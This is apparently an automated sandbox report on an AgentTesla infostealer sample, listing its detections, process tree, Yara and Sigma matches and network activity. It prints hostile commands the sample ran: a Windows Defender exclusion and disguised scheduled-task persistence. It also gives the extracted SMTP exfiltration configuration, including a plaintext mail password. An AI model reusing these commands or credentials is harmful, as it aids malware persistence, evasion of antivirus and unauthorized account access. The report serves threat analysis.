Edit tour

Windows Analysis Report
SMBKT-20242005.exe

Overview

General Information

Sample name:	SMBKT-20242005.exe
Analysis ID:	1444949
MD5:	52cd4c12a51d55526ceaa5f1e7f9e549
SHA1:	6ca86a42d595177b554b82b5ea3a8dd40d1c3280
SHA256:	c501ebcf488c9172ef490e70c37adb5926783f3aac132e8ff58f90b6b3232e03
Tags:	AgentTeslaexe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

.NET source code contains very large array initializations

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SMBKT-20242005.exe (PID: 7376 cmdline: "C:\Users\user\Desktop\SMBKT-20242005.exe" MD5: 52CD4C12A51D55526CEAA5F1E7F9E549)

powershell.exe (PID: 7600 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\joUXSCpr.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7888 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7616 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp6AB.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 7756 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

RegSvcs.exe (PID: 7764 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

joUXSCpr.exe (PID: 7852 cmdline: C:\Users\user\AppData\Roaming\joUXSCpr.exe MD5: 52CD4C12A51D55526CEAA5F1E7F9E549)

schtasks.exe (PID: 8016 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp1263.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 8076 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

RegSvcs.exe (PID: 8084 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

RegSvcs.exe (PID: 8092 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.stilbo.eu", "Username": "stilbogdan@stilbo.eu", "Password": "StilBO_#1"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.1470694828.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.1470694828.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.2663210822.00000000030FC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.2663210822.000000000310F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.2663210822.00000000030D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2663210822.00000000030D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.1473242520.000000000338C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.1473242520.0000000003361000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.1473242520.0000000003361000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.2663210822.0000000003104000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.1462365494.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1462365494.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: SMBKT-20242005.exe PID: 7376	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SMBKT-20242005.exe PID: 7376	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: SMBKT-20242005.exe PID: 7376	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 7764	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 7764	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: joUXSCpr.exe PID: 7852	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegSvcs.exe PID: 8092	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 8092	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33701:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33773:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x337fd:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3388f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x338f9:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3396b:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33a01:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33a91:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.SMBKT-20242005.exe.3e57898.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.SMBKT-20242005.exe.3e57898.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.SMBKT-20242005.exe.3e1cc78.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.SMBKT-20242005.exe.3e1cc78.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.SMBKT-20242005.exe.3e57898.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31901:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31973:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x319fd:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31a8f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31af9:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31b6b:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31c01:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31c91:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.SMBKT-20242005.exe.3e1cc78.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31901:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31973:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x319fd:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31a8f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31af9:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31b6b:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31c01:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31c91:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.SMBKT-20242005.exe.3e57898.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.SMBKT-20242005.exe.3e57898.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.SMBKT-20242005.exe.3e57898.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33701:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6e121:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33773:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6e193:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x337fd:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6e21d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3388f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6e2af:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x338f9:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6e319:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3396b:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6e38b:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33a01:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e421:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33a91:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6e4b1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.SMBKT-20242005.exe.3d79970.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.SMBKT-20242005.exe.3d79970.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.SMBKT-20242005.exe.3d79970.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0xd6a09:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x111629:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x14c049:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xd6a7b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x11169b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x14c0bb:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xd6b05:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x111725:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x14c145:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xd6b97:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x1117b7:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x14c1d7:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xd6c01:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x111821:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x14c241:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xd6c73:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x111893:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x14c2b3:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xd6d09:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x111929:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x14c349:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33701:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6e321:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa8d41:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33773:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6e393:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa8db3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x337fd:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6e41d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa8e3d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3388f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6e4af:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa8ecf:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x338f9:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6e519:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa8f39:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3396b:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6e58b:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa8fab:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33a01:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e621:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa9041:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 13 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\joUXSCpr.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\joUXSCpr.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SMBKT-20242005.exe", ParentImage: C:\Users\user\Desktop\SMBKT-20242005.exe, ParentProcessId: 7376, ParentProcessName: SMBKT-20242005.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\joUXSCpr.exe", ProcessId: 7600, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp1263.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp1263.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\joUXSCpr.exe, ParentImage: C:\Users\user\AppData\Roaming\joUXSCpr.exe, ParentProcessId: 7852, ParentProcessName: joUXSCpr.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp1263.tmp", ProcessId: 8016, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DesusertionIp: 212.44.102.65, DesusertionIsIpv6: false, DesusertionPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, Initiated: true, ProcessId: 7764, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49712

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp6AB.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp6AB.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\SMBKT-20242005.exe", ParentImage: C:\Users\user\Desktop\SMBKT-20242005.exe, ParentProcessId: 7376, ParentProcessName: SMBKT-20242005.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp6AB.tmp", ProcessId: 7616, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\joUXSCpr.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\joUXSCpr.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SMBKT-20242005.exe", ParentImage: C:\Users\user\Desktop\SMBKT-20242005.exe, ParentProcessId: 7376, ParentProcessName: SMBKT-20242005.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\joUXSCpr.exe", ProcessId: 7600, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp6AB.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp6AB.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\SMBKT-20242005.exe", ParentImage: C:\Users\user\Desktop\SMBKT-20242005.exe, ParentProcessId: 7376, ParentProcessName: SMBKT-20242005.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp6AB.tmp", ProcessId: 7616, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.stilbo.eu", "Username": "stilbogdan@stilbo.eu", "Password": "StilBO_#1"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe

ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: SMBKT-20242005.exe

ReversingLabs: Detection: 36%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SMBKT-20242005.exe

Joe Sandbox ML: detected

Source: SMBKT-20242005.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.9:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.9:49713 version: TLS 1.2

Source: SMBKT-20242005.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 4x nop then jmp 04DF60D5h		1_2_04DF6599
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 4x nop then jmp 04CB5365h		9_2_04CB5829

Source: global traffic

TCP traffic: 192.168.2.9:49712 -> 212.44.102.65:587

Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

ASN Name: DHH-ASSI DHH-ASSI

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.9:49712 -> 212.44.102.65:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: mail.stilbo.eu

Source: SMBKT-20242005.exe, joUXSCpr.exe.1.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: SMBKT-20242005.exe, joUXSCpr.exe.1.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: RegSvcs.exe, 00000008.00000002.1477888050.0000000006510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mS
Source: RegSvcs.exe, 00000008.00000002.1473242520.000000000338C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.00000000030FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.stilbo.eu
Source: SMBKT-20242005.exe, joUXSCpr.exe.1.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: RegSvcs.exe, 0000000F.00000002.2661521200.000000000128A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2660788327.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2669844639.00000000064C2000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.0000000003104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0
Source: RegSvcs.exe, 0000000F.00000002.2661521200.000000000128A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2660788327.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2669844639.00000000064C2000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.0000000003104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: SMBKT-20242005.exe, 00000001.00000002.1461356615.0000000002DF6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1473242520.0000000003311000.00000004.00000800.00020000.00000000.sdmp, joUXSCpr.exe, 00000009.00000002.1492085386.0000000002C31000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.000000000308C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
